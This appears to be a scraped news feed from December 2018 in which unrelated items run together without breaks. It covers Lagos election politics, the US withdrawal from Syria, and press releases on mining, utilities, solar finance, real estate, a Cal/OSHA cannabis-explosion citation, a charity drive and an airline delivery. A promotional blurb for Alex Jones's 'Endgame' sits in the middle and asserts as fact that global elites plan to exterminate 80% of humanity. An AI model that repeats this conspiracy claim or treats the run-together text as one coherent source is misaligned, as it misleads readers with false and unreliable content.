not part of Afenifere. They are usurpers in the group. The Lagos chapter of Accord Party on Thursday formally adopted the Peoples Democratic Partys Jimi Agbaje as their gubernatorial candidate for the 2019 election. Mr Agbaje, while accepting the flag from the party, said the time has come to free Lagosians from bondage. I accept with all humility this honour you have shown us and the position you have endorsed us for, said Mr Agbaje. As you have endorsed us easily, so shall we get to the government house easily and for those still on the other side, the freedom train is on the move and they should join when the momentum is not too much for them to catch up with. There is still space on the train now. It is time for freedom of Lagos and we say no to Babasope.' The Accord Party also announced that it had welcomed 20,000 members who defected from the All Progressives Congress in the state. The leader of the defecting APC members, Sunday Ajayi, said they left because of the level of impunity in the party. You are all aware of what is happening in Lagos for the past six months, said Mr Ajayi, a former APC chairman in Orile -Agege. We did local government and state congresses, all in shambles because of one man Mr Impunity who believes without him we are nothing, and today we are here to show him he is no longer in the grass roots. We want to give them a Christmas gift of defection. Mr Ajayi said the illegal kangaroo primaries conducted by the APC about two months ago had candidates who paid for nomination forms being denied participation. Jimi Agbaje while accepting his adoption as governorship candidate by accord party [Photo: Olamide Fadipe] It has never happened that a governor is denied second term because he is not a party man because you want to do abracadabra. Can you imagine such autocracy? But your wife is going for third term, we have people contesting for even fourth and fifth terms. Such impunity will no longer happen in Lagos. When we formed APC we were together but now we are disunited. They are gone in Lagos and Nigeria forever. He is going around planning himself for 2023, he believes in money but we believe in people in the grassroots and the grassroots people are waiting for him. We have thousands of people at home who have asked us to go ahead and they will follow us. The chairman of the Board of Trustees of Accord Party, Isaac Adeniyi, said the party is poised to help unseat the ruling party in the state. pts20181220020 Unternehmen/Wirtschaft, Handel/Dienstleistungen Cartier Iron Intersects Major New Anomalous Alteration Zone Grading 0.11 g Au/t and 2.65 g Ag/t over 180.4 m at Big Easy in Newfoundland Toronto (pts020/20.12.2018/16:00) - New zone is on the west edge of the Central Anomaly located 1.8 km south of the Big Easy Showing Includes 40m grading 0.28 g Au/t and 6.34 g Ag/t and 4.8 m grading 1.26 g Au/t and 33.19 g Ag/t Hole testing downdip extension of Big Easy showing intersected 10.6m of 0.45 g Au/t and 84.96 g Ag/t including 3.9m grading 0.54 g Au/t and 224.9 g Ag/t. Cartier Iron Corporation (CSE: CFE) ("Cartier Iron" or the "Company") is pleased to report results from the first two diamond drill holes from a four hole, 1,249m program, at its Big Easy Gold project located on the Burin Peninsula in eastern Newfoundland. The first hole, BE18-29, tested the downdip potential of the Big Easy showing while three holes tested the Central Induced Polarization (IP) chargeability anomaly located 1.8km south of the Big Easy showing (see press release May 1, 2018). Hole BE18-30 was drilled on the western edge of the Central Anomaly. Hole BE18-31 was collared 40m west of Hole BE18-30 while hole BE18-32 was collared on the eastern edge of the Central Anomaly 200m east of Hole BE18-30. The Central Anomaly as well as other major chargeability anomalies on the property occur under prominent bogs hence drilling in the core of these anomalies must be carried out in the winter. Table 1 gives significant results and Table 2 gives details on collar coordinates and drill hole orientation. Hole BE18-30 intersected a new very wide anomalous alteration zone which returned 180.4 m grading 0.11 g Au/t and 2.65 g Ag/t. Within this extensive zone there is a 40m section which returned 0.28 g Au/t and 6.34 g Ag/t including 4.8m grading 1.26 g Au/t and 33.19 g Ag/t. Hole BE18-29 which tested the potential downdip extension of the Big Easy Showing returned 10.6m of 0.45 g Au/t and 84.96 g Ag/t including 3.9m grading 0.54 g Au/t and 224.9 g Ag/t. The downdip extension is marked by a chargeability anomaly which appears to be stronger with depth. Tom Larsen, President & CEO of Cartier Iron said: "Considering the reconnaissance nature of this drill program and the limited meterage of 617m reported, these results are very encouraging and we look forward to receiving the results from the remaining two holes which should be available in the near future. We plan to do a winter drill program in conjunction with efficient accessibility after bog freeze-up of at least 1,000m to further test the Central Anomaly as well as other similar geophysical targets to the west and south." Dr. Bill Pearson, P.Geo., Chief Technical Advisor, commented: "The results from Hole BE18-30 indicate that the chargeability anomaly reflects an extensive zone of epithermal alteration and mineralization that is up to 200m wide with a depth extent of at least 250m.The grades are consistently anomalous throughout the entire section suggesting the potential for a well mineralized core zone in the strongest part of the chargeability anomaly (Figures 1 and 2). The mineralized alteration zone was also intersected in the upper part of Hole BE18-31 and the lower part of BE18-32 but results on these holes are pending. This zone is completely open along strike and at depth." Qualified Person Dr. Bill Pearson, P.Geo., a Qualified Person as defined under National Instrument 43-101 (NI 43-101), has reviewed and approved the scientific and technical content of this press release. The IP/Res survey was designed and supervised by Dr. Chris Hale, P.Geo., Chief Geophysicist for Cartier Iron and a Qualified Person as defined under NI 43-101. The diamond drill program was carried out and supervised by Mr. Jeff Burke, P.Geo., Exploration Manager for Cartier Iron on Big Easy and a qualified person as defined by NI 43-101. All samples were analysed using multi-digestion with ICP finish and fire assay with AA finish for gold by AGAT Laboratories in Mississauga, Ontario). Cartier Iron employs an industry standard QA/QC protocol including external standards, blanks and duplicates, with a 5% random split check assay on pulps and rejects by ALS Chemex in North Vancouver, BC. For more information, contact: Thomas Larsen, C.E.O. or Jorge Estepa, Vice President at (416) 360-8006 or email at info@cartieriron.com About Cartier Iron Corporation Cartier Iron is an exploration and development Company focused on discovering and developing significant iron ore resources in Quebec, and a potentially significant gold property in the province of Newfoundland and Labrador. The Company's iron ore projects include the Gagnon Holdings in the southern Labrador Trough region of east-central Quebec. The Big Easy gold property is located in the Burin Peninsula epithermal gold belt in the Avalon Zone of eastern Newfoundland. For additional information on Cartier Iron, please visit our website at: http://www.cartieriron.com The CSE has not reviewed nor accepts responsibility for the adequacy or accuracy of this release. Statements in this release that are not historical facts are "forward-looking statements" and readers are cautioned that any such statements are not guarantees of future performance, and that actual developments or results, may vary materially from those in these "forward-looking statements". Aussender: Cartier Iron Corporation Ansprechpartner: Jorge Estepa Tel.: 416 360-8006 E-Mail: info@cartieriron.com Website: www.cartieriron.com (Ende) (CNN) Seated at the head of his Situation Room conference table, U.S. President Donald Trump was adamant: American troops must come home from Syria. He had just announced as much to a crowd in Ohio. The assembled military and national security advisers told him the move was rash and unwise. So he gave them six months. Eight months later, planning for the withdrawal is now underway against the advice of those same officials, who warned in April that Russia and Iran would gain stronger footholds in Syria when the U.S. presence there evaporates. On Capitol Hill, even some of Trump's GOP allies were warning of a grave mistake. "My sense is that it's been a shock through the administration that this was made," Senate Foreign Relations chairman Bob Corker told reporters on Wednesday after returning from the White House, where he had traveled to meet with Trump but was told as he waited the meeting was canceled. "It's hard to imagine that any president would wake up and make this kind of decision with this little communication, with this little preparation," Corker said. "I mean, my understanding is that we're beginning to move out right now." Hurried discussions continued Wednesday about the timing and pace of the troop withdrawal, which the White House said has already begun. The announcement lacked the formality of previous presidents' declarations they would remove troops from war zones: the White House did not schedule any presidential remarks nor provide any concrete details of the decision. A 'total surprise' In conversations over the past several days, top presidential advisers have counseled Trump that withdrawing personnel from Syria would amount to a retreat from the region and allow adversarial nations to gain influence. Those cautioning against a rapid and immediate withdrawal included Defense Secretary James Mattis, Secretary of State Mike Pompeo and national security adviser John Bolton, according to people familiar with the discussions. Diplomatic sources from two countries in the region said their countries were not consulted or informed, and described the news of the planned withdrawal as a "total surprise." Trump did alert one key ally two days ahead of the announcement: Israeli Prime Minister Benjamin Netanyahu. In a phone call with Trump on Monday, and a subsequent conversation with Pompeo on Tuesday, the U.S. leaders assured him the Americans had "other ways of expressing their influence in the area," according to a statement from Netanyahu's office. In a closed-door lunch with Senate Republicans, lawmakers gave Vice President Mike Pence an "earful" about the decision, according to Corker. Speaking afterward, Corker said he felt badly for the vice president, who was acting as an emissary to angry lawmakers. "He had talking points," Corker said. "There's no way he could really defend. He did what a loyal soldier would do." Trump's top ally in the Senate, Sen. Lindsay Graham, was firmer. "I want you to tell the President directly that this is a huge mistake," he said he told Pence. "You are putting in motion ISIS getting a foothold again. They are not defeated." Pence addressed the issue by saying Trump "made a commitment to get out of foreign entanglements," Graham said. But the vice president himself ignored reporters' questions on the matter, instead staring ahead blankly as he departed. It was an astonishing level of pushback from Republicans who, time and again, have avoided overt criticism of their party's leader. It reflected deep unease among national security experts and advisers about the decision to abruptly withdraw troops from Syria without consulting members of Congress or gathering consensus among the administration's national security team. It was Trump's decision An administration official briefing reporters on Wednesday insisted anyone caught off guard by the decision hasn't been paying attention. But the official did not dispute that some of the President's top advisers were opposed to the withdrawal. "The President's statements on this topic have been 100% consistent from the campaign through his announcement today, so I think the notion that anyone within the administration was caught unaware, I would challenge that, quite frankly," the official said. "It was the President's decision to make and he made it." Still, the decision only highlighted discrepancies among administration officials over the future of the roughly 2,000 troops deployed in the country. Gen. Joseph Dunford, the chairman of the Joint Chiefs of Staff, said this month that the U.S. needed to train thousands of local fighters to ensure a lasting defeat of the terror group. Only last week, the U.S. special envoy to the anti-ISIS coalition Brett McGurk said U.S. forces would remain in Syria even after the terror group was defeated. "I think it's fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring," he said on December 11. And in September, Bolton told reporters on the margins of the United Nations General Assembly that U.S. troops would remain in Syria to counter Iran. "We're not going to leave as long as Iranian troops are outside Iranian borders and that includes Iranian proxies and militias," Bolton said. Pressed about whether Bolton's comments were still applicable, the senior administration official suggested previous statements no longer applied. "The issue here is that the President has made a decision, and so previous statements ... he gets to do that, that's his prerogative," said the official, briefing reporters during a call organized by the White House. The official could not provide a timeline for the withdrawal of U.S. troops nor say whether the U.S. would continue to carry out airstrikes in Syria, instead referring questions to the Pentagon. "It's not information I have," the official said. If administration officials and Trump's allies in Congress were distressed by the decision, however, there was little excuse for them to be surprised. Trump has long railed against foreign entanglements begun by his predecessors and vowed this spring to bring American troops home. "We'll be coming out of Syria, like, very soon," he said in April, comments that prompted a hurried effort at the Pentagon and in the National Security Council to convince the President that an immediate withdrawal could throw the region into chaos. When military brass sought to dissuade him, he grew frustrated and complained at length about the amount of American money being spent in the region, which he said had produced nothing for the U.S. in return, according to senior administration officials. 'Beside themselves' Despite his annoyance, Trump eventually agreed to hold off on immediately pulling troops from the war-plagued nation, even after airing his displeasure with top national security officials. At one stage, Dunford asked the President to state explicitly what he wanted to see happen in Syria, according to an administration official. The President responded by saying U.S. troops need to finish their mission against ISIS in Syria within six months, a timeline military officials including Mattis warned would be too short, according to the administration official. Trump responded by telling his team to just get it done. One person familiar with the meeting said attendees left "beside themselves" about how a hasty withdrawal and cutting of funds for recovery projects like restoring water and power and rebuilding roads could affect the future of Syria, and make it more likely that ISIS could return to prominence. Derek Chollet, a former U.S. assistant secretary of defense in the Obama administration, said much of Washington, including administration officials, lawmakers and Iran hawks have been the victims of "wishful thinking" when it comes to Trump. "We've learned over and over, on issue after issue, that the President has his views, his instincts and that the administration is more often than not on a different page," Chollet said. "He's shown time and again he doesn't listen to logic or reason." Advocates of a traditional hawkish GOP foreign policy have been "rationalizing that Donald Trump was going to ratchet up the pressure on Syria," said Chollet, now an executive vice president at the German Marshall Fund, when Trump has long said he would pull out of the country, which has been ravaged by a civil war that started in 2011. "He campaigned on this, he talked about it at a rally," Chollet said of Trump's desire to end U.S. involvement in Syria. "This has been hiding in plain sight. He has been consistent on this issue." This story was first published on CNN.com "In Syria withdrawal, Trump discards advice from allies and officials" For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME. Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire. Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever. Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation. View the progress of the coming collapse of the United States and the formation of the North American Union. Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history. Endgame is not conspiracy theory, it is documented fact in the elite's own words. OAKVILLE, ON, Dec. 20, 2018 /PRNewswire/ - Algonquin Power & Utilities Corp. (TSX/NYSE: AQN) ("APUC" or the "Company") today announced that it has closed the previously reported equity offering, pursuant to which it issued and sold 12,536,350 common shares of APUC (the "Shares") to certain institutional investors at a price of C$13.76 per Share, for gross proceeds of approximately C$172.5 million (the "Offering"). The Shares were offered and sold directly to the institutional investors by APUC without an underwriter or placement agent. The proceeds of the Offering are anticipated to be used to partially finance APUC's recently announced acquisition of Enbridge Gas New Brunswick Limited Partnership, and for general corporate purposes. This press release does not constitute an offer to sell or the solicitation of an offer to buy the Shares, nor shall there be any sale of these securities in any state or jurisdiction in which such an offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction. All dollar amounts referenced herein are in U.S. dollars unless otherwise noted. About Algonquin Power & Utilities Corp. APUC is a diversified generation, transmission and distribution utility with approximately $9 billion of total assets. Through its two business groups, APUC provides rate regulated natural gas, water, and electricity generation, transmission, and distribution utility services to over 766,000 connections, and is committed to being a global leader in the generation of clean energy through its ownership of, or interest in, long term contracted wind, solar and hydroelectric generating facilities representing approximately 1.7 GW of installed capacity. With a team of over 2,300 talented employees, APUC delivers continuing growth through an expanding pipeline of renewable energy development projects, organic growth within its rate regulated generation, distribution and transmission businesses, and the pursuit of accretive acquisitions. APUC's Common Shares, Series A preferred shares and Series D preferred shares are listed on the Toronto Stock Exchange under the symbols AQN, AQN.PR.A, and AQN.PR.D, respectively. APUC's Common Shares and Series A subordinated notes are also listed on the New York Stock Exchange under the symbols AQN and AQNA. Visit APUC at www.algonquinpower.com and follow us on Twitter @AQN_Utilities. Caution Regarding Forward-Looking Information Certain statements included in this news release constitute ''forward-looking information'' within the meaning of applicable securities laws in each of the provinces of Canada and the respective policies, regulations and rules under such laws and ''forward-looking statements'' within the meaning of the U.S. Private Securities Litigation Reform Act of 1995 (collectively, ''forward-looking statements"). The words "will", "expects", "anticipates" and similar expressions are often intended to identify forward-looking statements, although not all forward-looking statements contain these identifying words. Specific forward-looking statements contained in this news release include the expected use of the net proceeds from the Offering. These statements are based on factors or assumptions that were applied in drawing a conclusion or making a forecast or projection, including assumptions based on historical trends, current conditions and expected future developments. Since forward-looking statements relate to future events and conditions, by their very nature they require making assumptions and involve inherent risks and uncertainties. APUC cautions that although it is believed that the assumptions are reasonable in the circumstances, these risks and uncertainties give rise to the possibility that actual results may differ materially from the expectations set out in the forward-looking statements. Material risk factors include those set out in APUC's most recent annual and interim management's discussion and analysis, most recent annual information form and prospectus and prospectus supplement relating to the Offering. Given these risks, undue reliance should not be placed on these forward-looking statements, which apply only as of their dates. Other than as specifically required by law, APUC undertakes no obligation to update any forward-looking statements to reflect new information, subsequent or otherwise. SOURCE Algonquin Power & Utilities Corp. Related Links http://www.algonquinpower.com MIAMI, Dec. 19, 2018 /PRNewswire/ -- Atlas Renewable Energy has won one of the Bonds & Loans Latin America Awards 2019, in the category of Structured Bond Deal of the Year. Following more than 150 submissions from different companies, the Latin American renewable energy company, with the second largest solar base in the region, was recognized for the long-term financing program executed for its El Naranjal and Del Litoral solar PV projects in Salto, Uruguay, in partnerships with DNB Markets and IDB-Invest. The awards program, Bonds & Loans Latin America Awards recognizes outstanding deals from across Latin American capital markets in 2017/18. The recognition of industry excellence is determined by Bonds & Loans editors based on an exhaustive selection process involving examination of case studies, in-depth feedback and discussions with market participants. This year, over 150 companies submitted cases across 10 categories. The innovative financing method of the two Uruguayan solar energy plants combined a US Private Placement with several international investors, placed by DNB Markets, Inc. and the Inter-American Investment Corporation (IDB-Invest). The deal was arranged as an A/B Bond structure including a senior and a subordinated note tranches, with IDB-Invest as the lender of record. This type of partnership was the first of its kind, which explains why Atlas Renewable Energy was awarded the Bonds & Loans Structured Bond Deal of the Year accolade. Atlas Renewable Energy recognizes that the financing structure utilized to secure El Naranjal and Del Litoral was innovative in the financial industry and thank their partners, both IDB Invest and DNB Markets for their instrumental collaboration on a project that pushed the envelope for the industry. Not only did Atlas Renewable Energy place an investment grade senior tranche, but also a sub-investment grade subordinated tranche with private investors, both at very attractive rates and long tenors. Atlas Renewable Energy Head of Structured Finance, Michael Shea, says: "This award represents a step forward for Atlas Renewable Energy, as we expand our footprint throughout Latin America. Atlas Renewable Energy remains on the constant lookout for new opportunities to grow and innovate with great industry partners, such as DNB Markets and IDB Invest". Atlas Renewable Energy's solar base totals 1.2 GW of contracted projects across Latin America including Sol Do Futuro, Juazeiro and Sertao Solar (Brazil), Quilapilun (Chile), El Naranjal and Del Litoral (Uruguay), and Guajiro (Mexico). As solar energy production is on the rise, and the sector is estimated as a $160.8bn global industry, Atlas Renewable Energy will continue partnering with great financial institutions to fund more projects that can bring clean energy to Latin America. About Atlas Renewable Energy Atlas Renewable Energy is a renewable energy generation company that develops, builds, and operates renewable energy projects with long-term energy contracts across Latin America. The current company portfolio is 1.2GW of contracted projects in development, construction, or operational stages, and aims to grow an additional 1.5GW over the next decade. Launched in early 2017, Atlas Renewable Energy includes an experienced team with the longest track record in the solar energy industry in Latin America. The company is recognized by its high standards in development, construction, and operation of large-scale projects. Atlas Renewable Energy is part of the Energy Fund IV, co-founded by Actis, a leading private equity investor in the energy sector of emerging markets. Actis has allocated more than $600 million of equity in Atlas Renewable Energy to invest in long-term renewable energy contracted projects. Atlas Renewable Energy's growth is focused on the main emerging markets and economies of Latin America, using its proven development, commercialization and structuring know-how to bring clean energy to the region. By actively engaging with the community and stakeholders at the center of its project strategy, the company works every day to provide the world with a cleaner future. To know more about Atlas Renewable Energy, visit: http://www.atlasrenewableenergy.com/. About the Awards Bonds & Loans Latin America Deals of the Year recognizes outstanding achievement from across the Latin American credit markets. Over 150 deals were submitted across 10 categories. The recognition of industry excellence was determined by Bonds & Loans editors based on an exhaustive selection process involving examination of case studies, in-depth feedback and discussions with market participants. Presentation of the Awards will take place at the cocktail receptions of our following conferences: Bonds, Loans & Derivatives Mexico 2019: 7th February, Four Seasons, Mexico City Bonds, Loans Derivatives Andes 2019: 25th April, JW Marriott, Bogota Bonds, Loans & Derivatives Brazil 2019: 4th June, The Tivoli, Sao Paulo You can view the full list of Winners here: http://www.gfcmediagroup.com/bonds-loans-latin-america-deals-of-the-year/2019winners About GFC Media Group GFC Media Group is a leading producer of financial conferences, online market intelligence platforms and awards, which in turn facilitates idea-sharing and networking between corporates, SMEs, government entities, advisors, regulators, bankers and funds. At GFC Media Group our aim is to improve connectivity between companies looking to raise capital and investors seeking to deploy it. SOURCE Atlas Renewable Energy ATLANTA, Dec. 20, 2018 /PRNewswire/ -- Brightstar New Development Services will join forces with real estate startup Compass Inc., to form Brightstar New Development Services at Compass (Brightstar), an innovative real estate brokerage firm that brings technology-focused target marketing to sell single family homes, high-rise condominiums and master-planned communities. Started six years ago in New York, Compass has raised an estimated $800 million in venture capital, merging with best-in-class brokerages in key markets. Brightstar boasts 20 years of experience in this market, providing a full range of sales and marketing services to builders and developers. Brightstar founder Pauline Miller brings a wealth of expertise to the deal, having closed nearly 20,000 homes in her career. Now, under the Compass Atlanta brand, the company can better serve clients through a more sophisticated user experience via its proprietary app. "Compass is building the future of real estate with its advanced technology and fresh ideas," said Miller, Brightstar president. "This merger, along with additions to our leadership team, make us more confident than ever in our abilities to provide clients with exceptional service that will help achieve their goals." Brightstar most recently promoted Allyson Golightly and Sara Joseph to its growing leadership team. About Brightstar Brightstar is the name at the forefront of residential marketing and sales across Metro Atlanta. Their five-star sales agents each come from distinguished real estate backgrounds that ensure that all Brightstar clients will receive the courtesy and assurance that come from working with an experienced and polished real estate professional. Brightstar approaches each new project with a passion for making a positive, sustaining impact and by taking careful consideration of all the factors that ensure a successful sales effort. Their attention to details and emphasis on customer relationships, assures repeat and referral business for a lifetime. For additional information about Brightstar, please visit: www.FollowBrightstar.com About Compass Compass is an innovative real estate brokerage firm that brings a modern approach to target marketing. Compass combines exceptional agents with best-in-class technology to make the process of promoting and selling a home both smart and seamless. For additional information about Compass, please visit: https://www.compass.com/about/ SOURCE Brightstar Related Links http://www.followbrightstar.com FREMONT, Calif., Dec. 20, 2018 /PRNewswire/ -- Cal/OSHA has cited a manufacturer of cannabis products for multiple serious safety violations following an explosion that seriously injured a worker. On June 19, an employee of Future2 Labs Health Services was working alone inside a 128-square-foot portable storage container in Watsonville, using propane to extract oil from cannabis leaves. The propane ignited and exploded, badly burning the worker. He was hospitalized for several days. During the investigation, Cal/OSHA learned the employer did not test the atmosphere inside the storage container for flammable gases or vapors before allowing equipment to be operated. The equipment created a spark that ignited the propane gas where the employee was working. "The process of using a highly flammable gas to extract oil from cannabis leaves is dangerous," said Cal/OSHA Chief Juliann Sum. "To prevent injuries and mitigate risk, employers in the cannabis industry must establish and implement an effective Injury and Illness Prevention Program, provide effective training to their employees and comply with safety and health standards." Cal/OSHA cited Santa Cruz-based Future2 Health Services $50,470 in proposed penalties for 10 violations. The citations include three regulatory, four general and three serious accident-related violations. The serious accident-related violations were cited for the employer's failure to: Protect workers around flammable vapors Identify hazards and provide personal protective equipment Maintain equipment in a safe operating condition. The other citations were issued for violations related to inadequate training, failing to establish an emergency action plan and a hazard communication program. Future2 Labs Health Services also failed to report a serious workplace injury to Cal/OSHA. Cal/OSHA's Cannabis Industry Health and Safety webpage provides helpful information to employers and workers. Workers in the cannabis industry, including those in cultivation, distribution, retail, testing and manufacturing, are exposed to hazards covered under existing Cal/OSHA regulations. A violation is classified as serious when there is a realistic possibility that death or serious harm could result from the actual hazard created by the violation. Violations are classified as accident-related when the injury, illness or fatality is caused by the violation. Cal/OSHA helps protect workers from health and safety hazards on the job in almost every workplace in California. Cal/OSHA's Consultation Services Branch provides free and voluntary assistance to employers to improve their health and safety programs. Employers should call (800) 963-9424 for assistance from Cal/OSHA Consultation Services. Employees with work-related questions or complaints may contact DIR's Call Center in English or Spanish at 844-LABOR-DIR (844-522-6734). The California Workers' Information line at 866-924-9757 provides recorded information in English and Spanish on a variety of work-related topics. Complaints can also be filed confidentially with Cal/OSHA district offices. Members of the press may contact Peter Melton or Lucas Brown at (510) 286-1161, and are encouraged to subscribe to get email alerts on DIR's press releases or other departmental updates. https://www.facebook.com/CaliforniaDIR https://twitter.com/CA_DIR http://www.youtube.com/CaliforniaDIR http://www.dir.ca.gov/email/listsub.asp?choice=1 The California Department of Industrial Relations , established in 1927, protects and improves the health, safety, and economic well-being of over 18 million wage earners, and helps their employers comply with state labor laws. DIR is housed within the Labor & Workforce Development Agency . For general inquiries, contact DIR's Call Center at 844-LABOR-DIR (844-522-6734) for help in locating the appropriate division or program in our department. SOURCE California Department of Industrial Relations; Cal/OSHA Related Links http://www.dir.ca.gov We at Philabundance are so grateful for CapTech's support! They are a true partner in the fight against hunger; they volunteer, donate, and are offering assistance on a business analysis project to increase our capacity. We couldn't do the work we do without the support of partners like CapTech! Jaclyn Elwell, Senior Manager, Strategic Partnerships, Philabundance CapTech's National Food Fight, which takes place annually in November, raised over $115,000 for local food banks across the country in 2018. CapTech Philadelphia competed against other offices to raise the most funds per capita for local food banks, more than doubling their fundraising efforts for the food bank over 2017 donations. "It has been incredible to watch our partnership with Philabundance grow over the past few years," said CapTech principal Andy Sofish. "Through multiple volunteer events and fundraising, our CapTechers have been inspired into action by the impact Philabundance has on helping to eliminate hunger in our community." Philabundance is the largest hunger relief organization in the Delaware Valley, serving over 90,000 food-insecure adults and children in the region each week. The mission of Philabundance is to drive hunger from our communities today and end hunger forever. Through the assistance of over 17,000 volunteers and a dedicated staff, Philabundance acquires, rescues, and distributes food to help those in need, and advocates for policies that increase food access in the region. To learn more about donating or volunteering, visit www. Philabundance.org. About CapTech: CapTech (www.captechconsulting.com) is a national IT management consulting firm that bridges the gap between business and technology. We partner with some of the world's most successful companies to design, develop, and manage technical and digital solutions that delight customers, drive insights, and meet strategic objectives. Headquartered in Richmond, Virginia, CapTech has locations in Atlanta, Baltimore, Charlotte, Chicago, Columbus (Ohio), Denver, Orlando, Philadelphia, San Francisco, and Washington DC. Contact: Emily Krause | CapTech [email protected] | 804-615-3712 SOURCE CapTech Related Links http://www.captechconsulting.com TORONTO, Dec. 20, 2018 /PRNewswire/ - CGX Energy Inc. (TSXV: OYL) ("CGX") and Frontera Energy Corporation (TSX: FEC) ("Frontera") announced today that, further to their news release of December 17, 2018, CGX has issued 5,714,285 common shares in the capital of the Company (the "Shares") to Frontera to settle a total of US$1.2 million in debt. For further details on this transaction, please see our December 17 press release. All of the Shares are subject to a statutory hold period expiring on April 21, 2019 in accordance with applicable securities legislation. About CGX Energy: CGX Energy is a Canadian-based oil and gas exploration company focused on the exploration of oil in the Guyana- Suriname Basin. NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS NEWS RELEASE. About Frontera: Frontera Energy Corporation is a Canadian public company and a leading explorer and producer of crude oil and natural gas, with operations focused in Latin America. The Company has a diversified portfolio of assets with interests in more than 30 exploration and production blocks in Colombia and Peru. The Company's strategy is focused on sustainable growth in production and reserves. Frontera is committed to conducting business safely, in a socially and environmentally responsible manner. Frontera's common shares trade on the Toronto Stock Exchange under the ticker symbol "FEC". If you would like to receive News Releases via e-mail as soon as they are published, please subscribe here: http://fronteraenergy.mediaroom.com/subscribe. SOURCE Frontera Energy Corporation Related Links http://www.fronteraenergy.ca DENVER, Dec. 20, 2018 /PRNewswire/ -- Despite all the research and theories associated with Millennials, companies still struggle with how best to interact and communicate with what is now the largest group of consumers and workers in the economy. However, a new Denver-based firm aims to help companies by decoding the mysteries of connecting with this crucial segment of the population. Socap Logo The Socap Team The Social Capital Agency (SoCap, for short), a full-service advertising, marketing, and branding agency founded in 2016 by a Millennial and Gen Z'er, says the key to unlocking the power of Millennials is understanding that there is no key. "There is no single approach, message, or brand strategy that will have Millennials flocking to your company and its products. The biggest mistake companies can make is treating this diverse group like a single mind-melded entity. If there is any commonality they share, it is a low-key disdain for being grouped together with all their fellow Millennials," said Eric Sutfin, co-founder and chief marketing officer of SoCap. As of July 2016, there were 71 million Americans aged 20 to 35 - the age group defining the Millennial generation. That population was just shy of the 74 million Baby Boomers (age 52 to 70 in 2016) in the population. Millennials are expected to outnumber Boomers by 2019. "This will have far-reaching effects on every aspect of the economy and society, including retail, employment, marriage and families, migration patterns, and voting trends. Organizations cannot ignore this group. And they definitely cannot rely on the tried and true methods of reaching this generation. They simply do not consume information and messages the way Boomers or Gen Xers do," noted Devon Kerns, SoCap's other founder and its chief visionary officer. "Whether your company is trying to sell products, services, or ideas to Millennials or trying to recruit and retain them as employees, it is critical to know what your company or organization stands for, hone your message, and be authentic. Because, while Millennials are not carbon copies of each other, many possess a well-tuned bullshit meter," said Kerns. SoCap insists that in order to succeed with Millennials, companies must build a solid brand starting at the core. The advertising and marketing agency helps companies build their brands from the inside, out. "Basically, we want to give companies the tools and the messages that will create a strong internal or employer brand, which will then serve as the foundation for establishing a strong outward or consumer brand. Companies that don't do this will struggle. Just look at Uber. It checked off all the boxes in terms of price, convenience, and several other benefits that resonate with tech-savvy and mobile phone-dependent Millennials. However, once the cracks in the foundation began to show, starting with revelations that the company fostered a misogynistic and toxic workplace, Millennials started deleting the app from their phones in droves," said Sutfin. "Companies really have to understand and stand behind their core values. From there we help them sell that to current and prospective employees. And then from there, we help them build that outward brand to customers. But without the strong foundation, even the most engaging advertising campaign will ultimately fail," he added. About Social Capital Adverting (Socap) Located in the trendy Lodo district of Downtown Denver, Social Capital Advertising helps companies tap into the overlooked segment of Millennial that now spans across multiple generations and represents millions of potential customers, influencers, and workers. The agency has already built a diverse and varied client roster that includes a line of skin nutrition products, a business consulting firm, financial services, a business process outsourcing provider, and a realty group. To keep its clients on the cutting edge of marketing, it has partnered with Boulder-based firm JuJoTech, which creates augmented reality applications for consumer and industrial products. For more information about Socap, Millennial Focused Marketing, and additional details about their promotional and advertising services, please visit the company website: www.socapads.com or call directly at 303-552-2947. Media Contact: Eric Sutfin [email protected] 303-906-7691 SOURCE Social Capital Advertising Related Links http://www.socapads.com ASTANA, Kazakhstan, Dec. 14, 2018 /PRNewswire/ -- Air Astana, the flag carrier of Kazakhstan, presented its first E190-E2 jet in a ceremony held today in Astana. The airline will receive four additional E190-E2s next year, with the last of the five aircraft, leased by AerCap, being delivered in the final quarter of 2019. The Kazakhstan airline will start flying the new aircraft on domestic and Commonwealth of Independent States (CIS) routes later this month. "All of us at Air Astana are pleased to receive our first E190-E2, and we look forward to a smooth entry into service and a simple transition for our pilots. We know Embraer's E-Jets well, and have high expectations for their new generation aircraft in terms of economics, environmental impact, and levels of comfort and convenience for our customers," said Peter Foster, President of Air Astana. Air Astana's first E190-E2 features a "snow leopard" livery, designed and hand painted by Embraer in the 'Profit Hunter' style. Air Astana's snow leopard joins the now famous Eagle, Tiger, and Shark E2s with the distinctive 'Profit Hunter' nose art. For Air Astana however, the paint scheme is designed to draw global attention to the threat of extinction faced by the wild cat. The snow leopard is an official symbol of Kazakhstan and is native to the country's southern mountain ranges. Foster continued. "Our passengers, staff, and in fact the whole of Kazakhstan will appreciate the amazing depiction of the snow leopard on our new jet. The snow leopard embodies the resilience and ambition of our nation, and we all strive to save these magnificent creatures from extinction and for posterity". "We are honored to deliver our most advanced commercial aircraft to our good friends at Air Astana", said John Slattery, President & CEO, Embraer Commercial Aviation. "For a manufacturer, there is no better reward than to see a customer's business continuously growing with our products. Air Astana's decision to embrace the E2 program is a further measure of trust in Embraer and in the E-Jets family of commercial aircraft." The delivery marks the beginning of Air Astana's fleet renewal. Currently the 